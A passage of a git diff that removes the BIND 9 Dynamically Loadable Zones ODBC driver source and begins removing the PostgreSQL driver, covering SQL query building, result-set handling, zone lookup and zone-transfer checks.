-	 * queries.
-	 */
-	if (zone != NULL) {
-		dbi->zone = odbc_escape_string(zone);
-		if (dbi->zone == NULL) {
-			result = ISC_R_NOMEMORY;
-			goto cleanup;
-		}
-	} else { /* no string passed, set the string pointer to NULL */
-		dbi->zone = NULL;
-	}
-
-	/*
-	 * was a record string passed?  If so, make it safe for use in
-	 * queries.
-	 */
-	if (record != NULL) {
-		dbi->record = odbc_escape_string(record);
-		if (dbi->record == NULL) {
-			result = ISC_R_NOMEMORY;
-			goto cleanup;
-		}
-	} else { /* no string passed, set the string pointer to NULL */
-		dbi->record = NULL;
-	}
-
-	/*
-	 * was a client string passed?  If so, make it safe for use in
-	 * queries.
-	 */
-	if (client != NULL) {
-		dbi->client = odbc_escape_string(client);
-		if (dbi->client == NULL) {
-			result = ISC_R_NOMEMORY;
-			goto cleanup;
-		}
-	} else { /* no string passed, set the string pointer to NULL */
-		dbi->client = NULL;
-	}
-
-	/*
-	 * what type of query are we going to run?
-	 * this time we build the actual query to run.
-	 */
-	switch (query) {
-	case ALLNODES:
-		querystring = build_querystring(named_g_mctx, dbi->allnodes_q);
-		break;
-	case ALLOWXFR:
-		querystring = build_querystring(named_g_mctx, dbi->allowxfr_q);
-		break;
-	case AUTHORITY:
-		querystring = build_querystring(named_g_mctx, dbi->authority_q);
-		break;
-	case FINDZONE:
-		querystring = build_querystring(named_g_mctx, dbi->findzone_q);
-		break;
-	case LOOKUP:
-		querystring = build_querystring(named_g_mctx, dbi->lookup_q);
-		break;
-	default:
-		/*
-		 * this should never happen.  If it does, the code is
-		 * screwed up!
-		 */
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "Incorrect query flag passed to "
-				 "odbc_get_resultset");
-		result = ISC_R_UNEXPECTED;
-		goto cleanup;
-	}
-
-	/* if the querystring is null, Bummer, outta RAM.  UPGRADE TIME!!!   */
-	if (querystring == NULL) {
-		result = ISC_R_NOMEMORY;
-		goto cleanup;
-	}
-
-	/* output the full query string during debug so we can see */
-	/* what lame error the query has. */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(1), "\nQuery String: %s\n", querystring);
-
-	/* attempt query up to 3 times. */
-	for (j = 0; j < 3; j++) {
-		/* try to get result set */
-		sqlRes = SQLExecDirect(((odbc_db_t *)dbi->dbconn)->stmnt,
-				       (SQLCHAR *)querystring,
-				       (SQLINTEGER)strlen(querystring));
-
-		/* if error, reset DB connection */
-		if (!sqlOK(sqlRes)) {
-			/* close cursor */
-			SQLCloseCursor(((odbc_db_t *)dbi->dbconn)->stmnt);
-			/* attempt to reconnect */
-			result = odbc_connect((odbc_instance_t *)dbdata,
-					      (odbc_db_t **)&(dbi->dbconn));
-			/* check if we reconnected */
-			if (result != ISC_R_SUCCESS) {
-				break;
-			}
-			/* in case this is the last time through the loop */
-			result = ISC_R_FAILURE;
-		} else {
-			result = ISC_R_SUCCESS;
-			/* return dbi */
-			*r_dbi = dbi;
-			/* result set ok, break loop */
-			break;
-		}
-	} /* end for loop */
-
-cleanup: /* it's always good to cleanup after yourself */
-
-	/* free dbi->zone string */
-	if (dbi->zone != NULL) {
-		isc_mem_free(named_g_mctx, dbi->zone);
-	}
-
-	/* free dbi->record string */
-	if (dbi->record != NULL) {
-		isc_mem_free(named_g_mctx, dbi->record);
-	}
-
-	/* free dbi->client string */
-	if (dbi->client != NULL) {
-		isc_mem_free(named_g_mctx, dbi->client);
-	}
-
-	/* if we are done using this dbi, release the lock */
-	if (result != ISC_R_SUCCESS) {
-		isc_mutex_unlock(&dbi->instance_lock);
-	}
-
-	/* release query string */
-	if (querystring != NULL) {
-		isc_mem_free(named_g_mctx, querystring);
-	}
-
-	/* return result */
-	return (result);
-}
-
-/*%
- * Gets a single field from the ODBC statement.  The memory for the
- * returned data is dynamically allocated.  If this method is successful
- * it is the responsibility of the caller to free the memory using
- * isc_mem_free(named_g_mctx, *ptr);
- */
-
-static isc_result_t
-odbc_getField(SQLHSTMT *stmnt, SQLSMALLINT field, char **data) {
-	SQLLEN size;
-
-	REQUIRE(data != NULL && *data == NULL);
-
-	if (sqlOK(SQLColAttribute(stmnt, field, SQL_DESC_DISPLAY_SIZE, NULL, 0,
-				  NULL, &size)) &&
-	    size > 0)
-	{
-		*data = isc_mem_allocate(named_g_mctx, size + 1);
-		if (data != NULL) {
-			if (sqlOK(SQLGetData(stmnt, field, SQL_C_CHAR, *data,
-					     size + 1, &size))) {
-				return (ISC_R_SUCCESS);
-			}
-			isc_mem_free(named_g_mctx, *data);
-		}
-	}
-	return (ISC_R_FAILURE);
-}
-
-/*%
- * Gets multiple fields from the ODBC statement.  The memory for the
- * returned data is dynamically allocated.  If this method is successful
- * it is the responsibility of the caller to free the memory using
- * isc_mem_free(named_g_mctx, *ptr);
- */
-
-static isc_result_t
-odbc_getManyFields(SQLHSTMT *stmnt, SQLSMALLINT startField,
-		   SQLSMALLINT endField, char **retData) {
-	isc_result_t result;
-	SQLLEN size;
-	int totSize = 0;
-	SQLSMALLINT i;
-	int j = 0;
-	char *data;
-
-	REQUIRE(retData != NULL && *retData == NULL);
-	REQUIRE(startField > 0 && startField <= endField);
-
-	/* determine how large the data is */
-	for (i = startField; i <= endField; i++) {
-		if (sqlOK(SQLColAttribute(stmnt, i, SQL_DESC_DISPLAY_SIZE, NULL,
-					  0, NULL, &size)) &&
-		    size > 0)
-		{
-			{
-				/* always allow for a " " (space) character */
-				totSize += (size + 1);
-				/* after the data item */
-			}
-		}
-	}
-
-	if (totSize < 1) {
-		return (ISC_R_FAILURE);
-	}
-
-	/* allow for a "\n" at the end of the string/ */
-	data = isc_mem_allocate(named_g_mctx, ++totSize);
-
-	result = ISC_R_FAILURE;
-
-	/* get the data and concat all fields into a large string */
-	for (i = startField; i <= endField; i++) {
-		if (sqlOK(SQLGetData(stmnt, i, SQL_C_CHAR, &(data[j]),
-				     totSize - j, &size))) {
-			if (size > 0) {
-				j += size;
-				data[j++] = ' ';
-				data[j] = '\0';
-				result = ISC_R_SUCCESS;
-			}
-		} else {
-			isc_mem_free(named_g_mctx, data);
-			return (ISC_R_FAILURE);
-		}
-	}
-
-	if (result != ISC_R_SUCCESS) {
-		isc_mem_free(named_g_mctx, data);
-		return (result);
-	}
-
-	*retData = data;
-	return (ISC_R_SUCCESS);
-}
-
-/*%
- * The processing of result sets for lookup and authority are
- * exactly the same.  So that functionality has been moved
- * into this function to minimize code.
- */
-
-static isc_result_t
-odbc_process_rs(dns_sdlzlookup_t *lookup, dbinstance_t *dbi) {
-	isc_result_t result;
-	SQLSMALLINT fields;
-	SQLHSTMT *stmnt;
-	char *ttl_s;
-	char *type;
-	char *data;
-	char *endp;
-	int ttl;
-
-	REQUIRE(dbi != NULL);
-
-	stmnt = ((odbc_db_t *)(dbi->dbconn))->stmnt;
-
-	/* get number of columns */
-	if (!sqlOK(SQLNumResultCols(stmnt, &fields))) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Odbc driver unable to process result set");
-		result = ISC_R_FAILURE;
-		goto process_rs_cleanup;
-	}
-
-	/* get things ready for processing */
-	result = ISC_R_FAILURE;
-
-	while (sqlOK(SQLFetch(stmnt))) {
-		/* set to null for next pass through */
-		data = type = ttl_s = NULL;
-
-		switch (fields) {
-		case 1:
-			/*
-			 * one column in rs, it's the data field.  use
-			 * default type of A record, and default TTL
-			 * of 86400.  attempt to get data, & tell bind
-			 * about it.
-			 */
-			if ((result = odbc_getField(stmnt, 1, &data)) ==
-			    ISC_R_SUCCESS) {
-				result = dns_sdlz_putrr(lookup, "a", 86400,
-							data);
-			}
-			break;
-		case 2:
-			/*
-			 * two columns, data field, and data type.
-			 * use default TTL of 86400.  attempt to get
-			 * DNS type & data, then tell bind about it.
-			 */
-			if ((result = odbc_getField(stmnt, 1, &type)) ==
-				    ISC_R_SUCCESS &&
-			    (result = odbc_getField(stmnt, 2, &data)) ==
-				    ISC_R_SUCCESS)
-			{
-				result = dns_sdlz_putrr(lookup, type, 86400,
-							data);
-			}
-			break;
-		default:
-			/*
-			 * 3 fields or more, concatenate the last ones
-			 * together.  attempt to get DNS ttl, type,
-			 * data then tell Bind about them.
-			 */
-			if ((result = odbc_getField(stmnt, 1, &ttl_s)) ==
-				    ISC_R_SUCCESS &&
-			    (result = odbc_getField(stmnt, 2, &type)) ==
-				    ISC_R_SUCCESS &&
-			    (result = odbc_getManyFields(
-				     stmnt, 3, fields, &data)) == ISC_R_SUCCESS)
-			{
-				/* try to convert ttl string to int */
-				ttl = strtol(ttl_s, &endp, 10);
-				/* failure converting ttl. */
-				if (*endp != '\0' || ttl < 0) {
-					isc_log_write(dns_lctx,
-						      DNS_LOGCATEGORY_DATABASE,
-						      DNS_LOGMODULE_DLZ,
-						      ISC_LOG_ERROR,
-						      "Odbc driver ttl must "
-						      "be a positive number");
-					result = ISC_R_FAILURE;
-				} else {
-					/*
-					 * successful converting TTL,
-					 * tell Bind everything
-					 */
-					result = dns_sdlz_putrr(lookup, type,
-								ttl, data);
-				}
-			} /* closes bid if () */
-		}	  /* closes switch(fields) */
-
-		/* clean up mem */
-		if (ttl_s != NULL) {
-			isc_mem_free(named_g_mctx, ttl_s);
-		}
-		if (type != NULL) {
-			isc_mem_free(named_g_mctx, type);
-		}
-		if (data != NULL) {
-			isc_mem_free(named_g_mctx, data);
-		}
-
-		/* I sure hope we were successful */
-		if (result != ISC_R_SUCCESS) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "dns_sdlz_putrr returned error. "
-				      "Error code was: %s",
-				      isc_result_totext(result));
-			result = ISC_R_FAILURE;
-			goto process_rs_cleanup;
-		}
-	} /* closes while loop */
-
-process_rs_cleanup:
-
-	/* close cursor */
-	SQLCloseCursor(((odbc_db_t *)(dbi->dbconn))->stmnt);
-
-	/* free lock on dbi so someone else can use it. */
-	isc_mutex_unlock(&dbi->instance_lock);
-
-	return (result);
-}
-
-/*
- * SDLZ interface methods
- */
-
-/*% determine if the zone is supported by (in) the database */
-
-static isc_result_t
-odbc_findzone(void *driverarg, void *dbdata, const char *name,
-	      dns_clientinfomethods_t *methods, dns_clientinfo_t *clientinfo) {
-	isc_result_t result;
-	dbinstance_t *dbi = NULL;
-
-	UNUSED(driverarg);
-	UNUSED(methods);
-	UNUSED(clientinfo);
-
-	/* run the query and get the result set from the database. */
-	/* if result != ISC_R_SUCCESS cursor and mutex already cleaned up. */
-	/* so we don't have to do it here. */
-	result = odbc_get_resultset(name, NULL, NULL, FINDZONE, dbdata, &dbi);
-
-	/* Check that we got a result set with data */
-	if (result == ISC_R_SUCCESS &&
-	    !sqlOK(SQLFetch(((odbc_db_t *)(dbi->dbconn))->stmnt)))
-	{
-		result = ISC_R_NOTFOUND;
-	}
-
-	if (dbi != NULL) {
-		/* get rid of result set, we are done with it. */
-		SQLCloseCursor(((odbc_db_t *)(dbi->dbconn))->stmnt);
-
-		/* free lock on dbi so someone else can use it. */
-		isc_mutex_unlock(&dbi->instance_lock);
-	}
-
-	return (result);
-}
-
-/*% Determine if the client is allowed to perform a zone transfer */
-static isc_result_t
-odbc_allowzonexfr(void *driverarg, void *dbdata, const char *name,
-		  const char *client) {
-	isc_result_t result;
-	dbinstance_t *dbi = NULL;
-
-	UNUSED(driverarg);
-
-	/* first check if the zone is supported by the database. */
-	result = odbc_findzone(driverarg, dbdata, name, NULL, NULL);
-	if (result != ISC_R_SUCCESS) {
-		return (ISC_R_NOTFOUND);
-	}
-
-	/*
-	 * if we get to this point we know the zone is supported by
-	 * the database.  the only questions now are is the zone
-	 * transfer is allowed for this client and did the config file
-	 * have an allow zone xfr query
-	 *
-	 * Run our query, and get a result set from the database.  if
-	 * result != ISC_R_SUCCESS cursor and mutex already cleaned
-	 * up, so we don't have to do it here.
-	 */
-	result = odbc_get_resultset(name, NULL, client, ALLOWXFR, dbdata, &dbi);
-
-	/* if we get "not implemented", send it along. */
-	if (result == ISC_R_NOTIMPLEMENTED) {
-		return (result);
-	}
-
-	/* Check that we got a result set with data */
-	if (result == ISC_R_SUCCESS &&
-	    !sqlOK(SQLFetch(((odbc_db_t *)(dbi->dbconn))->stmnt)))
-	{
-		result = ISC_R_NOPERM;
-	}
-
-	if (dbi != NULL) {
-		/* get rid of result set, we are done with it. */
-		SQLCloseCursor(((odbc_db_t *)(dbi->dbconn))->stmnt);
-
-		/* free lock on dbi so someone else can use it. */
-		isc_mutex_unlock(&dbi->instance_lock);
-	}
-
-	return (result);
-}
-
-/*%
- * If the client is allowed to perform a zone transfer, the next order of
- * business is to get all the nodes in the zone, so bind can respond to the
- * query.
- */
-
-static isc_result_t
-odbc_allnodes(const char *zone, void *driverarg, void *dbdata,
-	      dns_sdlzallnodes_t *allnodes) {
-	isc_result_t result;
-	dbinstance_t *dbi = NULL;
-	SQLHSTMT *stmnt;
-	SQLSMALLINT fields;
-	char *data;
-	char *type;
-	char *ttl_s;
-	int ttl;
-	char *host;
-	char *endp;
-
-	UNUSED(driverarg);
-
-	/* run the query and get the result set from the database. */
-	result = odbc_get_resultset(zone, NULL, NULL, ALLNODES, dbdata, &dbi);
-
-	/* if we get "not implemented", send it along */
-	if (result == ISC_R_NOTIMPLEMENTED) {
-		return (result);
-	}
-
-	/* if we didn't get a result set, log an err msg. */
-	if (result != ISC_R_SUCCESS) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Odbc driver unable to return "
-			      "result set for all nodes query");
-		return (ISC_R_FAILURE);
-	}
-
-	stmnt = ((odbc_db_t *)(dbi->dbconn))->stmnt;
-
-	/* get number of columns */
-	if (!sqlOK(SQLNumResultCols(stmnt, &fields))) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Odbc driver unable to process result set");
-		result = ISC_R_FAILURE;
-		goto allnodes_cleanup;
-	}
-
-	if (fields < 4) { /* gotta have at least 4 columns */
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Odbc driver too few fields returned by "
-			      "all nodes query");
-		result = ISC_R_FAILURE;
-		goto allnodes_cleanup;
-	}
-
-	/* get things ready for processing */
-	result = ISC_R_FAILURE;
-
-	while (sqlOK(SQLFetch(stmnt))) {
-		/* set to null for next pass through */
-		data = host = type = ttl_s = NULL;
-
-		/*
-		 * attempt to get DNS ttl, type, host, data then tell
-		 * Bind about them
-		 */
-		if ((result = odbc_getField(stmnt, 1, &ttl_s)) ==
-			    ISC_R_SUCCESS &&
-		    (result = odbc_getField(stmnt, 2, &type)) ==
-			    ISC_R_SUCCESS &&
-		    (result = odbc_getField(stmnt, 3, &host)) ==
-			    ISC_R_SUCCESS &&
-		    (result = odbc_getManyFields(stmnt, 4, fields, &data)) ==
-			    ISC_R_SUCCESS)
-		{
-			/* convert ttl string to int */
-			ttl = strtol(ttl_s, &endp, 10);
-			/* failure converting ttl. */
-			if (*endp != '\0' || ttl < 0) {
-				isc_log_write(dns_lctx,
-					      DNS_LOGCATEGORY_DATABASE,
-					      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-					      "Odbc driver ttl must be "
-					      "a positive number");
-				result = ISC_R_FAILURE;
-			} else {
-				/* successful converting TTL, tell Bind  */
-				result = dns_sdlz_putnamedrr(allnodes, host,
-							     type, ttl, data);
-			}
-		} /* closes big if () */
-
-		/* clean up mem */
-		if (ttl_s != NULL) {
-			isc_mem_free(named_g_mctx, ttl_s);
-		}
-		if (type != NULL) {
-			isc_mem_free(named_g_mctx, type);
-		}
-		if (host != NULL) {
-			isc_mem_free(named_g_mctx, host);
-		}
-		if (data != NULL) {
-			isc_mem_free(named_g_mctx, data);
-		}
-
-		/* if we weren't successful, log err msg */
-		if (result != ISC_R_SUCCESS) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "dns_sdlz_putnamedrr returned error. "
-				      "Error code was: %s",
-				      isc_result_totext(result));
-			result = ISC_R_FAILURE;
-			goto allnodes_cleanup;
-		}
-	} /* closes while loop */
-
-allnodes_cleanup:
-
-	/* close cursor */
-	SQLCloseCursor(((odbc_db_t *)(dbi->dbconn))->stmnt);
-
-	/* free lock on dbi so someone else can use it. */
-	isc_mutex_unlock(&dbi->instance_lock);
-
-	return (result);
-}
-
-/*%
- * if the lookup function does not return SOA or NS records for the zone,
- * use this function to get that information for Bind.
- */
-
-static isc_result_t
-odbc_authority(const char *zone, void *driverarg, void *dbdata,
-	       dns_sdlzlookup_t *lookup) {
-	isc_result_t result;
-	dbinstance_t *dbi = NULL;
-
-	UNUSED(driverarg);
-
-	/* run the query and get the result set from the database. */
-	result = odbc_get_resultset(zone, NULL, NULL, AUTHORITY, dbdata, &dbi);
-	/* if we get "not implemented", send it along */
-	if (result == ISC_R_NOTIMPLEMENTED) {
-		return (result);
-	}
-	/* if we didn't get a result set, log an err msg. */
-	if (result != ISC_R_SUCCESS) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Odbc driver unable to return "
-			      "result set for authority query");
-		return (ISC_R_FAILURE);
-	}
-	/* lookup and authority result sets are processed in the same manner */
-	/* odbc_process_rs does the job for both functions. */
-	return (odbc_process_rs(lookup, dbi));
-}
-
-/*% if zone is supported, lookup up a (or multiple) record(s) in it */
-
-static isc_result_t
-odbc_lookup(const char *zone, const char *name, void *driverarg, void *dbdata,
-	    dns_sdlzlookup_t *lookup, dns_clientinfomethods_t *methods,
-	    dns_clientinfo_t *clientinfo) {
-	isc_result_t result;
-	dbinstance_t *dbi = NULL;
-
-	UNUSED(driverarg);
-	UNUSED(methods);
-	UNUSED(clientinfo);
-
-	/* run the query and get the result set from the database. */
-	result = odbc_get_resultset(zone, name, NULL, LOOKUP, dbdata, &dbi);
-	/* if we didn't get a result set, log an err msg. */
-	if (result != ISC_R_SUCCESS) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Odbc driver unable to return "
-			      "result set for lookup query");
-		return (ISC_R_FAILURE);
-	}
-	/* lookup and authority result sets are processed in the same manner */
-	/* odbc_process_rs does the job for both functions. */
-	return (odbc_process_rs(lookup, dbi));
-}
-
-/*%
- * create an instance of the driver.  Remember, only 1 copy of the driver's
- * code is ever loaded, the driver has to remember which context it's
- * operating in.  This is done via use of the dbdata argument which is
- * passed into all query functions.
- */
-static isc_result_t
-odbc_create(const char *dlzname, unsigned int argc, char *argv[],
-	    void *driverarg, void **dbdata) {
-	isc_result_t result;
-	odbc_instance_t *odbc_inst = NULL;
-	dbinstance_t *db = NULL;
-	SQLRETURN sqlRes;
-	int dbcount;
-	int i;
-	char *endp;
-
-	UNUSED(dlzname);
-	UNUSED(driverarg);
-
-	/* if debugging, let user know we are multithreaded. */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(1), "Odbc driver running multithreaded");
-
-	/* verify we have at least 5 arg's passed to the driver */
-	if (argc < 5) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Odbc driver requires at least "
-			      "4 command line args.");
-		return (ISC_R_FAILURE);
-	}
-
-	/* no more than 8 arg's should be passed to the driver */
-	if (argc > 8) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Odbc driver cannot accept more than "
-			      "7 command line args.");
-		return (ISC_R_FAILURE);
-	}
-
-	/* multithreaded build can have multiple DB connections */
-	/* check how many db connections we should create */
-	dbcount = strtol(argv[1], &endp, 10);
-	if (*endp != '\0' || dbcount < 0) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Odbc driver database connection count "
-			      "must be positive.");
-		return (ISC_R_FAILURE);
-	}
-
-	/* allocate memory for odbc instance */
-	odbc_inst = isc_mem_get(named_g_mctx, sizeof(odbc_instance_t));
-	memset(odbc_inst, 0, sizeof(odbc_instance_t));
-
-	/* parse connection string and get parameters. */
-
-	/* get odbc database dsn - required */
-	odbc_inst->dsn = (SQLCHAR *)getParameterValue(argv[2], "dsn=");
-	if (odbc_inst->dsn == NULL) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "odbc driver requires a dns parameter.");
-		result = ISC_R_FAILURE;
-		goto cleanup;
-	}
-	/* get odbc database username */
-	/* if no username was passed, set odbc_inst.user = NULL; */
-	odbc_inst->user = (SQLCHAR *)getParameterValue(argv[2], "user=");
-
-	/* get odbc database password */
-	/* if no password was passed, set odbc_inst.pass = NULL; */
-	odbc_inst->pass = (SQLCHAR *)getParameterValue(argv[2], "pass=");
-
-	/* create odbc environment & set environment to ODBC V3 */
-	if (odbc_inst->sql_env == NULL) {
-		/* create environment handle */
-		sqlRes = SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE,
-					&(odbc_inst->sql_env));
-		if (!sqlOK(sqlRes)) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_INFO,
-				      "Odbc driver unable to allocate memory");
-			result = ISC_R_NOMEMORY;
-			goto cleanup;
-		}
-		/*set ODBC version = 3 */
-		sqlRes = SQLSetEnvAttr(odbc_inst->sql_env,
-				       SQL_ATTR_ODBC_VERSION,
-				       (void *)SQL_OV_ODBC3, 0);
-		if (!sqlOK(sqlRes)) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_INFO,
-				      "Unable to configure ODBC environment");
-			result = ISC_R_NOMEMORY;
-			goto cleanup;
-		}
-	}
-
-	/* allocate memory for database connection list */
-	odbc_inst->db = isc_mem_get(named_g_mctx, sizeof(db_list_t));
-
-	/* initialize DB connection list */
-	ISC_LIST_INIT(*odbc_inst->db);
-
-	/* create the appropriate number of database instances (DBI) */
-	/* append each new DBI to the end of the list */
-	for (i = 0; i < dbcount; i++) {
-		/* how many queries were passed in from config file? */
-		switch (argc) {
-		case 5:
-			result = build_sqldbinstance(named_g_mctx, NULL, NULL,
-						     NULL, argv[3], argv[4],
-						     NULL, &db);
-			break;
-		case 6:
-			result = build_sqldbinstance(named_g_mctx, NULL, NULL,
-						     argv[5], argv[3], argv[4],
-						     NULL, &db);
-			break;
-		case 7:
-			result = build_sqldbinstance(named_g_mctx, argv[6],
-						     NULL, argv[5], argv[3],
-						     argv[4], NULL, &db);
-			break;
-		case 8:
-			result = build_sqldbinstance(named_g_mctx, argv[6],
-						     argv[7], argv[5], argv[3],
-						     argv[4], NULL, &db);
-			break;
-		default:
-			/* not really needed, should shut up compiler. */
-			result = ISC_R_FAILURE;
-		}
-
-		/* unsuccessful?, log err msg and cleanup. */
-		if (result != ISC_R_SUCCESS) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "Odbc driver could not create "
-				      "database instance object.");
-			goto cleanup;
-		}
-
-		/* when multithreaded, build a list of DBI's */
-		ISC_LINK_INIT(db, link);
-		ISC_LIST_APPEND(*odbc_inst->db, db, link);
-
-		result = odbc_connect(odbc_inst, (odbc_db_t **)&(db->dbconn));
-
-		if (result != ISC_R_SUCCESS) {
-			/*
-			 * if multi threaded, let user know which
-			 * connection failed.  user could be
-			 * attempting to create 10 db connections and
-			 * for some reason the db backend only allows
-			 * 9.
-			 */
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "Odbc driver failed to create database "
-				      "connection number %u after 3 attempts",
-				      i + 1);
-			goto cleanup;
-		}
-
-		/* set DB = null for next loop through. */
-		db = NULL;
-	} /* end for loop */
-
-	/* set dbdata to the odbc_instance we created. */
-	*dbdata = odbc_inst;
-
-	/* hey, we got through all of that ok, return success. */
-	return (ISC_R_SUCCESS);
-
-cleanup:
-
-	destroy_odbc_instance(odbc_inst);
-
-	return (result);
-}
-
-/*%
- * destroy an instance of the driver.  Remember, only 1 copy of the driver's
- * code is ever loaded, the driver has to remember which context it's
- * operating in.  This is done via use of the dbdata argument.
- * so we really only need to clean it up since we are not using driverarg.
- */
-
-static void
-odbc_destroy(void *driverarg, void *dbdata) {
-	UNUSED(driverarg);
-
-	destroy_odbc_instance((odbc_instance_t *)dbdata);
-}
-
-/* pointers to all our runtime methods. */
-/* this is used during driver registration */
-/* i.e. in dlz_odbc_init below. */
-static dns_sdlzmethods_t dlz_odbc_methods = {
-	odbc_create,
-	odbc_destroy,
-	odbc_findzone,
-	odbc_lookup,
-	odbc_authority,
-	odbc_allnodes,
-	odbc_allowzonexfr,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-};
-
-/*%
- * Wrapper around dns_sdlzregister().
- */
-isc_result_t
-dlz_odbc_init(void) {
-	isc_result_t result;
-
-	/*
-	 * Write debugging message to log
-	 */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(2), "Registering DLZ odbc driver.");
-
-	/*
-	 * Driver is always threadsafe.  When multithreaded all
-	 * functions use multithreaded code.  When not multithreaded,
-	 * all functions can only be entered once, but only 1 thread
-	 * of operation is available in Bind.  So everything is still
-	 * threadsafe.
-	 */
-	result = dns_sdlzregister("odbc", &dlz_odbc_methods, NULL,
-				  DNS_SDLZFLAG_RELATIVEOWNER |
-					  DNS_SDLZFLAG_RELATIVERDATA |
-					  DNS_SDLZFLAG_THREADSAFE,
-				  named_g_mctx, &dlz_odbc);
-	/* if we can't register the driver, there are big problems. */
-	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "dns_sdlzregister() failed: %s",
-				 isc_result_totext(result));
-		result = ISC_R_UNEXPECTED;
-	}
-
-	return (result);
-}
-
-/*%
- * Wrapper around dns_sdlzunregister().
- */
-void
-dlz_odbc_clear(void) {
-	/*
-	 * Write debugging message to log
-	 */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(2), "Unregistering DLZ odbc driver.");
-
-	/* unregister the driver. */
-	if (dlz_odbc != NULL) {
-		dns_sdlzunregister(&dlz_odbc);
-	}
-}
-
-#endif /* ifdef DLZ_ODBC */
diff --git a/contrib/dlz/drivers/dlz_postgres_driver.c b/contrib/dlz/drivers/dlz_postgres_driver.c
deleted file mode 100644
index d5a46c5159..0000000000
--- a/contrib/dlz/drivers/dlz_postgres_driver.c
+++ /dev/null
@@ -1,1259 +0,0 @@
-/*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-/*
- * Copyright (C) 1999-2001, 2016  Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- */
-
-#ifdef DLZ_POSTGRES
